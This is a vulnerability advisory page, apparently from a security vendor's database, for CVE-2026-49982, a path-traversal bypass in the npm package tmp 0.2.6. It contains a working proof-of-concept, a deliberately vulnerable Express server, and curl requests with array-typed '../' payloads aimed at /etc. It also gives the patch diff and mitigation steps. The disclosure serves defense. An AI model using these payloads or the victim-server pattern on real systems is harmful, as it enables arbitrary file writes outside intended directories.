NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-49982 — tmp

HIGH

CVE-2026-49982 is a high-severity (CVSS 8.2) Improper Input Validation vulnerability in tmp. A fix is available for tmp — see the affected versions and patch details below.

tmp: Type-confusion bypass of _assertPath in [email protected] allows path traversal via non-string prefix/postfix/template

Also known asGHSA-7c78-jf6q-g5cm
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-49982.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk
0.00%0.37%0.73%1.10%0.5%0.5%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

6Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
tmpnpm
111.9Mdownloads / week

Description

Summary

The _assertPath guard added to [email protected] rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact

  • Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
  • Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap.
  • File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

// lib/tmp.js:533-539
function _assertPath(path) {
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }

  return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
  opts.prefix ? opts.prefix : 'tmp',
  '-',
  process.pid,
  '-',
  _randomChars(12),
  opts.postfix ? '-' + opts.postfix : ''
].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches _assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

  1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
  2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install [email protected]):

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

Observed output on [email protected]:

[negative control] string "../escape" - must be blocked
  BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked
  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
  ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked
  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
  ESCAPED: true

End-to-end reproduction (against the deployed npm package)

Install:

mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install [email protected] express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

  • ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
  • ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:
$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

  • ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.

Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmtmp≥ 0.2.6&&< 0.2.70.2.7npm install tmp@0.2.7

Affected Products

1 product · 1 configurations
Application
tmpraszi
1 version
0.2.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tmp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update tmp to 0.2.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-49982 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary The `_assertPath` guard added to `[email protected]` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes('..')` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process's privilege
O3 Security · Impact-Aware SCA

Is CVE-2026-49982 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-49982: tmp — Fixed in 0.2.7